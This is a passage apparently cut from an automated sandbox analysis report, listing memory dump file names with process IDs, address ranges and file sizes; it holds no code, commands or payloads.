                                                    • memory/1180-320-0x00007FFDACD10000-0x00007FFDACD1D000-memory.dmp

                                                      Filesize

                                                      52KB

                                                    • memory/1180-319-0x00007FFDA9C70000-0x00007FFDA9C89000-memory.dmp

                                                      Filesize

                                                      100KB

                                                    • memory/1180-318-0x00007FFD9A4C0000-0x00007FFD9A636000-memory.dmp

                                                      Filesize

                                                      1.5MB

                                                    • memory/1180-317-0x00007FFDA9C90000-0x00007FFDA9CB3000-memory.dmp

                                                      Filesize

                                                      140KB

                                                    • memory/1180-316-0x00007FFDAF370000-0x00007FFDAF389000-memory.dmp

                                                      Filesize

                                                      100KB

                                                    • memory/1180-315-0x00007FFDACD20000-0x00007FFDACD4D000-memory.dmp

                                                      Filesize

                                                      180KB

                                                    • memory/4468-191-0x0000019F7D380000-0x0000019F7D388000-memory.dmp

                                                      Filesize

                                                      32KB

                                                    • memory/4976-87-0x00007FFD98D73000-0x00007FFD98D75000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/4976-90-0x0000021B51DB0000-0x0000021B51DD2000-memory.dmp

                                                      Filesize

                                                      136KB